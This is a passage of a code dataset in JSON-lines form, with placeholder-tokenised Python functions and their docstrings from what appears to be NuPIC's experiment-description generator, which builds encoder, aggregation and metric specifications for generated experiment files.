{   'fieldname': 'gym',\n            'n': 13,\n            'name': 'gym',\n            'type': 'SDRCategoryEncoder',\n            'w': 7},\n          __address_encoder = {   'fieldname': 'address',\n            'n': 13,\n            'name': 'address',\n            'type': 'SDRCategoryEncoder',\n            'w': 7}\n\n\n    permEncoderChoicesStr:\n      For the permutations file, this defines the possible\n      encoder dicts for each encoder. For example:\n\n          '__gym_encoder' : PermuteEncoder('gym', 'SDRCategoryEncoder', w=7,\n              n=100),\n\n          '__address_encoder' : PermuteEncoder('address', 'SDRCategoryEncoder',\n                w=7, n=100),\n\n          '__timestamp_dayOfWeek_encoder' : PermuteEncoder('timestamp',\n              'DateEncoder.timeOfDay', w=7, radius=PermuteChoices([1, 8])),\n\n          '__consumption_encoder': PermuteEncoder('consumption', 'AdaptiveScalarEncoder',\n              w=7, n=PermuteInt(13, 500, 20), minval=0,\n              maxval=PermuteInt(100, 300, 25)),\n\n\n\n    Parameters:\n    --------------------------------------------------\n    includedFields:  item from the 'includedFields' section of the\n                      description JSON object. This is a list of dicts, each\n                      dict defining the field name, type, and optional min\n                      and max values.\n\n    retval:  (encoderSpecsStr permEncoderChoicesStr)", "id": "f17601:m14"}
{"signature": "def _handleJAVAParameters(options):", "body": "<EOL>if '<STR_LIT>' not in options:<EOL><INDENT>prediction = options.get('<STR_LIT>', {InferenceType.TemporalNextStep:<EOL>{'<STR_LIT>':True}})<EOL>inferenceType = None<EOL>for infType, value in prediction.items():<EOL><INDENT>if value['<STR_LIT>']:<EOL><INDENT>inferenceType = infType<EOL>break<EOL><DEDENT><DEDENT>if inferenceType == '<STR_LIT>':<EOL><INDENT>inferenceType = InferenceType.TemporalNextStep<EOL><DEDENT>if inferenceType != InferenceType.TemporalNextStep:<EOL><INDENT>raise _ExpGeneratorException(\"<STR_LIT>\"  %(inferenceType))<EOL><DEDENT>options['<STR_LIT>'] = inferenceType<EOL><DEDENT>if '<STR_LIT>' in options:<EOL><INDENT>if '<STR_LIT>' not in options:<EOL><INDENT>options['<STR_LIT>'] = {'<STR_LIT>': options['<STR_LIT>']}<EOL><DEDENT>elif '<STR_LIT>' not in options['<STR_LIT>']:<EOL><INDENT>options['<STR_LIT>']['<STR_LIT>'] = options['<STR_LIT>']<EOL><DEDENT><DEDENT>", "docstring": "Handle legacy options (TEMPORARY)", "id": "f17601:m15"}
{"signature": "def _getPropertyValue(schema, propertyName, options):", "body": "if propertyName not in options:<EOL><INDENT>paramsSchema = schema['<STR_LIT>'][propertyName]<EOL>if '<STR_LIT:default>' in paramsSchema:<EOL><INDENT>options[propertyName] = paramsSchema['<STR_LIT:default>']<EOL><DEDENT>else:<EOL><INDENT>options[propertyName] = None<EOL><DEDENT><DEDENT>", "docstring": "Checks to see if property is specified in 'options'. If not, reads the\n    default value from the schema", "id": "f17601:m16"}
{"signature": "def _getExperimentDescriptionSchema():", "body": "installPath = os.path.dirname(os.path.abspath(__file__))<EOL>schemaFilePath = os.path.join(installPath, \"<STR_LIT>\")<EOL>return json.loads(open(schemaFilePath, '<STR_LIT:r>').read())<EOL>", "docstring": "Returns the experiment description schema. This implementation loads it in\nfrom file experimentDescriptionSchema.json.\n\nParameters:\n--------------------------------------------------------------------------\nReturns:    returns a dict representing the experiment description schema.", "id": "f17601:m17"}
{"signature": "def _generateExperiment(options, outputDirPath, hsVersion,<EOL>claDescriptionTemplateFile):", "body": "_gExperimentDescriptionSchema = _getExperimentDescriptionSchema()<EOL>try:<EOL><INDENT>validictory.validate(options, _gExperimentDescriptionSchema)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise _InvalidCommandArgException(<EOL>(\"<STR_LIT>\" +\"<STR_LIT>\") % (str(e), pprint.pformat(options)))<EOL><DEDENT>streamSchema = json.load(resource_stream(jsonschema.__name__,<EOL>'<STR_LIT>'))<EOL>try:<EOL><INDENT>validictory.validate(options['<STR_LIT>'], streamSchema)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise _InvalidCommandArgException(<EOL>(\"<STR_LIT>\" +\"<STR_LIT>\") % (str(e), json.dumps(options)))<EOL><DEDENT>_handleJAVAParameters(options)<EOL>for propertyName in _gExperimentDescriptionSchema['<STR_LIT>']:<EOL><INDENT>_getPropertyValue(_gExperimentDescriptionSchema, propertyName, options)<EOL><DEDENT>if options['<STR_LIT>'] is not None:<EOL><INDENT>infArgs = _gExperimentDescriptionSchema['<STR_LIT>']['<STR_LIT>']<EOL>for schema in infArgs['<STR_LIT:type>']:<EOL><INDENT>if isinstance(schema, dict):<EOL><INDENT>for propertyName in schema['<STR_LIT>']:<EOL><INDENT>_getPropertyValue(schema, propertyName, options['<STR_LIT>'])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if options['<STR_LIT>'] is not None:<EOL><INDENT>anomalyArgs = _gExperimentDescriptionSchema['<STR_LIT>']['<STR_LIT>']<EOL>for schema in anomalyArgs['<STR_LIT:type>']:<EOL><INDENT>if isinstance(schema, dict):<EOL><INDENT>for propertyName in schema['<STR_LIT>']:<EOL><INDENT>_getPropertyValue(schema, propertyName, options['<STR_LIT>'])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>predictionSteps = options['<STR_LIT>'].get('<STR_LIT>', None)<EOL>if options['<STR_LIT>'] == InferenceType.NontemporalClassification:<EOL><INDENT>if predictionSteps is not None and predictionSteps != [<NUM_LIT:0>]:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if predictionSteps == [<NUM_LIT:0>]and options['<STR_LIT>'] in ['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>options['<STR_LIT>'] = InferenceType.NontemporalClassification<EOL><DEDENT>if options[\"<STR_LIT>\"] == InferenceType.NontemporalClassification:<EOL><INDENT>if options[\"<STR_LIT>\"][\"<STR_LIT>\"] == \"<STR_LIT:yes>\"or options[\"<STR_LIT>\"][\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>options[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>swarmSize = options['<STR_LIT>']<EOL>if swarmSize is None:<EOL><INDENT>if options[\"<STR_LIT>\"][\"<STR_LIT>\"] is None:<EOL><INDENT>options[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>elif swarmSize == '<STR_LIT>':<EOL><INDENT>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT:3><EOL><DEDENT>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT:100><EOL><DEDENT>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT:1><EOL><DEDENT>if options[\"<STR_LIT>\"][\"<STR_LIT>\"] is None:<EOL><INDENT>options[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT:yes>\"<EOL><DEDENT><DEDENT>elif swarmSize == '<STR_LIT>':<EOL><INDENT>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT:5><EOL><DEDENT>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT><EOL><DEDENT>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT:200><EOL><DEDENT>if options[\"<STR_LIT>\"][\"<STR_LIT>\"] is None:<EOL><INDENT>options[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>elif swarmSize == '<STR_LIT>':<EOL><INDENT>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT:15><EOL><DEDENT>options['<STR_LIT>'] = True<EOL>if options[\"<STR_LIT>\"][\"<STR_LIT>\"] is None:<EOL><INDENT>options[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (swarmSize))<EOL><DEDENT>tokenReplacements = dict()<EOL>includedFields = options['<STR_LIT>']<EOL>if hsVersion == '<STR_LIT>':<EOL><INDENT>(encoderSpecsStr, permEncoderChoicesStr) =_generateEncoderStringsV1(includedFields)<EOL><DEDENT>elif hsVersion in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>(encoderSpecsStr, permEncoderChoicesStr) =_generateEncoderStringsV2(includedFields, options)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (hsVersion))<EOL><DEDENT>if options['<STR_LIT>'] is not None:<EOL><INDENT>sensorAutoResetStr = pprint.pformat(options['<STR_LIT>'],<EOL>indent=<NUM_LIT:2>*_INDENT_STEP)<EOL><DEDENT>else:<EOL><INDENT>sensorAutoResetStr = '<STR_LIT:None>'<EOL><DEDENT>aggregationPeriod = {<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>}<EOL>aggFunctionsDict = {}<EOL>if '<STR_LIT>' in options['<STR_LIT>']:<EOL><INDENT>for key in list(aggregationPeriod.keys()):<EOL><INDENT>if key in options['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>aggregationPeriod[key] = options['<STR_LIT>']['<STR_LIT>'][key]<EOL><DEDENT><DEDENT>if '<STR_LIT>' in options['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>for (fieldName, func) in options['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>aggFunctionsDict[fieldName] = str(func)<EOL><DEDENT><DEDENT><DEDENT>hasAggregation = False<EOL>for v in list(aggregationPeriod.values()):<EOL><INDENT>if v != <NUM_LIT:0>:<EOL><INDENT>hasAggregation = True<EOL>break<EOL><DEDENT><DEDENT>aggFunctionList = list(aggFunctionsDict.items())<EOL>aggregationInfo = dict(aggregationPeriod)<EOL>aggregationInfo['<STR_LIT>'] = aggFunctionList<EOL>aggregationInfoStr = \"<STR_LIT:%s>\" % (pprint.pformat(aggregationInfo,<EOL>indent=<NUM_LIT:2>*_INDENT_STEP))<EOL>datasetSpec = options['<STR_LIT>']<EOL>if '<STR_LIT>' in datasetSpec:<EOL><INDENT>datasetSpec.pop('<STR_LIT>')<EOL><DEDENT>if hasAggregation:<EOL><INDENT>datasetSpec['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>datasetSpecStr = pprint.pformat(datasetSpec, indent=<NUM_LIT:2>*_INDENT_STEP)<EOL>datasetSpecStr = datasetSpecStr.replace(<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>datasetSpecStr = _indentLines(datasetSpecStr, <NUM_LIT:2>, indentFirstLine=False)<EOL>computeInterval = options['<STR_LIT>']<EOL>if computeInterval is not Noneand options['<STR_LIT>'] in ['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>predictionSteps = options['<STR_LIT>'].get('<STR_LIT>', [<NUM_LIT:1>])<EOL>if len(predictionSteps) > <NUM_LIT:1>:<EOL><INDENT>raise _InvalidCommandArgException(\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\" % predictionSteps)<EOL><DEDENT>if max(aggregationInfo.values()) == <NUM_LIT:0>:<EOL><INDENT>raise _InvalidCommandArgException(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>numSteps = predictionSteps[<NUM_LIT:0>]<EOL>predictAheadTime = dict(aggregationPeriod)<EOL>for key in predictAheadTime.keys():<EOL><INDENT>predictAheadTime[key] *= numSteps<EOL><DEDENT>predictAheadTimeStr = pprint.pformat(predictAheadTime,<EOL>indent=<NUM_LIT:2>*_INDENT_STEP)<EOL>options['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>options['<STR_LIT>'] = False<EOL>predictAheadTimeStr = \"<STR_LIT:None>\"<EOL><DEDENT>tokenReplacements['<STR_LIT>'] =_quoteAndEscape(os.path.abspath(__file__))<EOL>inferenceType = options['<STR_LIT>']<EOL>if inferenceType == '<STR_LIT>':<EOL><INDENT>inferenceType = InferenceType.TemporalMultiStep<EOL><DEDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\" % inferenceType<EOL>if inferenceType == InferenceType.NontemporalClassification:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT:False>\"<EOL>tokenReplacements['<STR_LIT>'] = \"<STR_LIT:False>\"<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT:True>\"<EOL>tokenReplacements['<STR_LIT>'] = \"<STR_LIT:True>\"<EOL>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>tokenReplacements['<STR_LIT>'] = pprint.pformat(<EOL>options['<STR_LIT>'], indent=<NUM_LIT:2>*_INDENT_STEP)<EOL>tokenReplacements['<STR_LIT>'] = encoderSpecsStr<EOL>tokenReplacements['<STR_LIT>'] = sensorAutoResetStr<EOL>tokenReplacements['<STR_LIT>'] = aggregationInfoStr<EOL>tokenReplacements['<STR_LIT>'] = datasetSpecStr<EOL>if options['<STR_LIT>'] is None:<EOL><INDENT>options['<STR_LIT>'] = -<NUM_LIT:1><EOL><DEDENT>tokenReplacements['<STR_LIT>']= str(options['<STR_LIT>'])<EOL>tokenReplacements['<STR_LIT>']= str(options['<STR_LIT>'])<EOL>tokenReplacements['<STR_LIT>']= str(options['<STR_LIT>'])<EOL>tokenReplacements['<STR_LIT>']= str(options['<STR_LIT>'])<EOL>tokenReplacements['<STR_LIT>']= str(options['<STR_LIT>'])<EOL>tokenReplacements['<STR_LIT>']= permEncoderChoicesStr<EOL>predictionSteps = options['<STR_LIT>'].get('<STR_LIT>', [<NUM_LIT:1>])<EOL>predictionStepsStr = '<STR_LIT:U+002C>'.join([str(x) for x in predictionSteps])<EOL>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\" % (predictionStepsStr)<EOL>tokenReplacements['<STR_LIT>'] = predictAheadTimeStr<EOL>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL>if options['<STR_LIT>']and options['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>tokenReplacements['<STR_LIT>'] =_ONE_INDENT +\"<STR_LIT>\"<EOL><DEDENT>if options['<STR_LIT>'] in ['<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\"+ \"<STR_LIT>\"+ \"<STR_LIT>\"<EOL><DEDENT>if options['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\"+ \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options['<STR_LIT>'] in ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" %(options[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" % (options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" % (options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" % (options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" % (options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" %(options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" % (options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" % (options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options.get('<STR_LIT>', None) is not None:<EOL><INDENT>tokenReplacements['<STR_LIT>'] =\"<STR_LIT>\" % (options['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if options['<STR_LIT>']:<EOL><INDENT>debugAgg = True<EOL>quotient = aggregationDivide(computeInterval, aggregationPeriod)<EOL>(isInt, multiple) = _isInt(quotient)<EOL>if not isInt or multiple < <NUM_LIT:1>:<EOL><INDENT>raise _InvalidCommandArgException(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (computeInterval, aggregationPeriod))<EOL><DEDENT>mTimesN = float(predictionSteps[<NUM_LIT:0>])<EOL>possibleNs = []<EOL>for n in range(<NUM_LIT:1>, int(mTimesN)+<NUM_LIT:1>):<EOL><INDENT>m = mTimesN / n<EOL>mInt = int(round(m))<EOL>if mInt < <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT>if abs(m - mInt) > <NUM_LIT> * m:<EOL><INDENT>continue<EOL><DEDENT>possibleNs.append(n)<EOL><DEDENT>if debugAgg:<EOL><INDENT>print(\"<STR_LIT>\" % (mTimesN, possibleNs))<EOL><DEDENT>aggChoices = []<EOL>for n in possibleNs:<EOL><INDENT>agg = dict(aggregationPeriod)<EOL>for key in agg.keys():<EOL><INDENT>agg[key] *= n<EOL><DEDENT>quotient = aggregationDivide(computeInterval, agg)<EOL>(isInt, multiple) = _isInt(quotient)<EOL>if not isInt or multiple < <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>aggChoices.append(agg)<EOL><DEDENT>aggChoices = aggChoices[-<NUM_LIT:5>:]<EOL>if debugAgg:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for agg in aggChoices:<EOL><INDENT>print(\"<STR_LIT>\", agg)<EOL><DEDENT>print()<EOL><DEDENT>tokenReplacements['<STR_LIT>'] = (<EOL>\"<STR_LIT>\" % (<EOL>pprint.pformat(aggChoices, indent=<NUM_LIT:2>*_INDENT_STEP)))<EOL><DEDENT>else:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = aggregationInfoStr<EOL><DEDENT>_generateInferenceArgs(options, tokenReplacements)<EOL>_generateMetricsSubstitutions(options, tokenReplacements)<EOL>environment = options['<STR_LIT>']<EOL>if environment == OpfEnvironment.Nupic:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"%OpfEnvironment.Nupic<EOL>controlTemplate = \"<STR_LIT>\"<EOL><DEDENT>elif environment == OpfEnvironment.Experiment:<EOL><INDENT>tokenReplacements['<STR_LIT>'] = \"<STR_LIT>\"%OpfEnvironment.Experiment<EOL>controlTemplate = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise _InvalidCommandArgException(\"<STR_LIT>\"% environment)<EOL><DEDENT>if outputDirPath is None:<EOL><INDENT>outputDirPath = tempfile.mkdtemp()<EOL><DEDENT>if not os.path.exists(outputDirPath):<EOL><INDENT>os.makedirs(outputDirPath)<EOL><DEDENT>print(\"<STR_LIT>\" % (outputDirPath))<EOL>descriptionPyPath = os.path.join(outputDirPath, \"<STR_LIT>\")<EOL>_generateFileFromTemplates([claDescriptionTemplateFile, controlTemplate],<EOL>descriptionPyPath,<EOL>tokenReplacements)<EOL>permutationsPyPath = os.path.join(outputDirPath, \"<STR_LIT>\")<EOL>if hsVersion == '<STR_LIT>':<EOL><INDENT>_generateFileFromTemplates(['<STR_LIT>'],permutationsPyPath,<EOL>tokenReplacements)<EOL><DEDENT>elif hsVersion == '<STR_LIT>':<EOL><INDENT>_generateFileFromTemplates(['<STR_LIT>'],permutationsPyPath,<EOL>tokenReplacements)<EOL><DEDENT>elif hsVersion == '<STR_LIT>':<EOL><INDENT>_generateFileFromTemplates(['<STR_LIT>'],permutationsPyPath,<EOL>tokenReplacements)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "Executes the --description option, which includes:\n\n        1. Perform provider compatibility checks\n        2. Preprocess the training and testing datasets (filter, join providers)\n        3. If test dataset omitted, split the training dataset into training\n           and testing datasets.\n        4. Gather statistics about the training and testing datasets.\n        5. Generate experiment scripts (description.py, permutaions.py)\n\n    Parameters:\n    --------------------------------------------------------------------------\n    options:  dictionary that matches the schema defined by the return value of\n              _getExperimentDescriptionSchema();  NOTE: this arg may be modified\n              by this function.\n\n    outputDirPath:  where to place generated files\n\n    hsVersion:  which version of hypersearch permutations file to generate, can\n                  be 'v1' or 'v2'\n    claDescriptionTemplateFile: Filename containing the template description\n\n\n    Returns:    on success, returns a dictionary per _experimentResultsJSONSchema;\n                raises exception on error\n\n        Assumption1: input train and test files have identical field metadata", "id": "f17601:m18"}
{"signature": "def _generateMetricsSubstitutions(options, tokenReplacements):", "body": "<EOL>options['<STR_LIT>'] = [\"<STR_LIT>\"]<EOL>metricList, optimizeMetricLabel = _generateMetricSpecs(options)<EOL>metricListString = \"<STR_LIT>\".join(metricList)<EOL>metricListString = _indentLines(metricListString, <NUM_LIT:2>, indentFirstLine=False)<EOL>permOptimizeSettingStr = '<STR_LIT>' % optimizeMetricLabel<EOL>loggedMetricsListAsStr = \"<STR_LIT>\" % (\"<STR_LIT:U+002CU+0020>\".join([\"<STR_LIT>\"% ptrn<EOL>for ptrn in options['<STR_LIT>']]))<EOL>tokenReplacements['<STR_LIT>']= loggedMetricsListAsStr<EOL>tokenReplacements['<STR_LIT>'] = metricListString<EOL>tokenReplacements['<STR_LIT>']= permOptimizeSettingStr<EOL>", "docstring": "Generate the token substitution for metrics related fields.\n    This includes:\n      \\$METRICS\n      \\$LOGGED_METRICS\n      \\$PERM_OPTIMIZE_SETTING", "id": "f17601:m19"}
{"signature": "def _generateMetricSpecs(options):", "body": "inferenceType = options['<STR_LIT>']<EOL>inferenceArgs = options['<STR_LIT>']<EOL>predictionSteps = inferenceArgs['<STR_LIT>']<EOL>metricWindow = options['<STR_LIT>']<EOL>if metricWindow is None:<EOL><INDENT>metricWindow = int(Configuration.get(\"<STR_LIT>\"))<EOL><DEDENT>metricSpecStrings = []<EOL>optimizeMetricLabel = \"<STR_LIT>\"<EOL>metricSpecStrings.extend(_generateExtraMetricSpecs(options))<EOL>optimizeMetricSpec = None<EOL>if options['<STR_LIT>']:<EOL><INDENT>assert len(predictionSteps) == <NUM_LIT:1><EOL>predictionSteps = ['<STR_LIT>']<EOL><DEDENT>if inferenceType in (InferenceType.TemporalNextStep,<EOL>InferenceType.TemporalAnomaly,<EOL>InferenceType.TemporalMultiStep,<EOL>InferenceType.NontemporalMultiStep,<EOL>InferenceType.NontemporalClassification,<EOL>'<STR_LIT>'):<EOL><INDENT>predictedFieldName, predictedFieldType = _getPredictedField(options)<EOL>isCategory = _isCategory(predictedFieldType)<EOL>metricNames = ('<STR_LIT>',) if isCategory else ('<STR_LIT>', '<STR_LIT>')<EOL>trivialErrorMetric = '<STR_LIT>' if isCategory else '<STR_LIT>'<EOL>oneGramErrorMetric = '<STR_LIT>' if isCategory else '<STR_LIT>'<EOL>movingAverageBaselineName = '<STR_LIT>' if isCategory else '<STR_LIT>'<EOL>for metricName in metricNames:<EOL><INDENT>metricSpec, metricLabel =_generateMetricSpecString(field=predictedFieldName,<EOL>inferenceElement=InferenceElement.multiStepBestPredictions,<EOL>metric='<STR_LIT>',<EOL>params={'<STR_LIT>': metricName,<EOL>'<STR_LIT>':metricWindow,<EOL>'<STR_LIT>': predictionSteps},<EOL>returnLabel=True)<EOL>metricSpecStrings.append(metricSpec)<EOL><DEDENT>if options[\"<STR_LIT>\"] is not None :<EOL><INDENT>metricParams = dict(options[\"<STR_LIT>\"])<EOL>metricParams['<STR_LIT>'] = '<STR_LIT>'<EOL>metricParams['<STR_LIT>'] = predictionSteps<EOL>if not \"<STR_LIT>\" in metricParams:<EOL><INDENT>metricParams[\"<STR_LIT>\"] = metricWindow<EOL><DEDENT>metricSpec, metricLabel =_generateMetricSpecString(field=predictedFieldName,<EOL>inferenceElement=InferenceElement.multiStepPredictions,<EOL>metric=\"<STR_LIT>\",<EOL>params=metricParams,<EOL>returnLabel=True)<EOL>metricSpecStrings.append(metricSpec)<EOL><DEDENT>optimizeMetricSpec = metricSpec<EOL>metricLabel = metricLabel.replace('<STR_LIT:[>', '<STR_LIT>')<EOL>metricLabel = metricLabel.replace('<STR_LIT:]>', '<STR_LIT>')<EOL>optimizeMetricLabel = metricLabel<EOL>if options[\"<STR_LIT>\"] is not None :<EOL><INDENT>optimizeMetricLabel = \"<STR_LIT>\"<EOL><DEDENT>if options[\"<STR_LIT>\"]and inferenceType != InferenceType.NontemporalClassification:<EOL><INDENT>for steps in predictionSteps:<EOL><INDENT>metricSpecStrings.append(<EOL>_generateMetricSpecString(field=predictedFieldName,<EOL>inferenceElement=InferenceElement.prediction,<EOL>metric=\"<STR_LIT>\",<EOL>params={'<STR_LIT>':metricWindow,<EOL>\"<STR_LIT>\":trivialErrorMetric,<EOL>'<STR_LIT>': steps})<EOL>)<EOL>if isCategory:<EOL><INDENT>metricSpecStrings.append(<EOL>_generateMetricSpecString(field=predictedFieldName,<EOL>inferenceElement=InferenceElement.prediction,<EOL>metric=movingAverageBaselineName,<EOL>params={'<STR_LIT>':metricWindow<EOL>,\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":<NUM_LIT:200>,<EOL>\"<STR_LIT>\": steps})<EOL>)<EOL><DEDENT>else :<EOL><INDENT>metricSpecStrings.append(<EOL>_generateMetricSpecString(field=predictedFieldName,<EOL>inferenceElement=InferenceElement.prediction,<EOL>metric=movingAverageBaselineName,<EOL>params={'<STR_LIT>':metricWindow<EOL>,\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":<NUM_LIT:200>,<EOL>\"<STR_LIT>\": steps})<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif inferenceType in (InferenceType.TemporalClassification):<EOL><INDENT>metricName = '<STR_LIT>'<EOL>trivialErrorMetric = '<STR_LIT>'<EOL>oneGramErrorMetric = '<STR_LIT>'<EOL>movingAverageBaselineName = '<STR_LIT>'<EOL>optimizeMetricSpec, optimizeMetricLabel =_generateMetricSpecString(inferenceElement=InferenceElement.classification,<EOL>metric=metricName,<EOL>params={'<STR_LIT>':metricWindow},<EOL>returnLabel=True)<EOL>metricSpecStrings.append(optimizeMetricSpec)<EOL>if options[\"<STR_LIT>\"]:<EOL><INDENT>if inferenceType == InferenceType.TemporalClassification:<EOL><INDENT>metricSpecStrings.append(<EOL>_generateMetricSpecString(inferenceElement=InferenceElement.classification,<EOL>metric=\"<STR_LIT>\",<EOL>params={'<STR_LIT>':metricWindow,<EOL>\"<STR_LIT>\":trivialErrorMetric})<EOL>)<EOL>metricSpecStrings.append(<EOL>_generateMetricSpecString(inferenceElement=InferenceElement.classification,<EOL>metric=\"<STR_LIT>\",<EOL>params={'<STR_LIT>':metricWindow,<EOL>\"<STR_LIT>\":oneGramErrorMetric})<EOL>)<EOL>metricSpecStrings.append(<EOL>_generateMetricSpecString(inferenceElement=InferenceElement.classification,<EOL>metric=movingAverageBaselineName,<EOL>params={'<STR_LIT>':metricWindow<EOL>,\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":<NUM_LIT:200>})<EOL>)<EOL><DEDENT><DEDENT>if not options[\"<STR_LIT>\"] == None :<EOL><INDENT>if not \"<STR_LIT>\" in options[\"<STR_LIT>\"]:<EOL><INDENT>options[\"<STR_LIT>\"][\"<STR_LIT>\"] = metricWindow<EOL><DEDENT>optimizeMetricSpec = 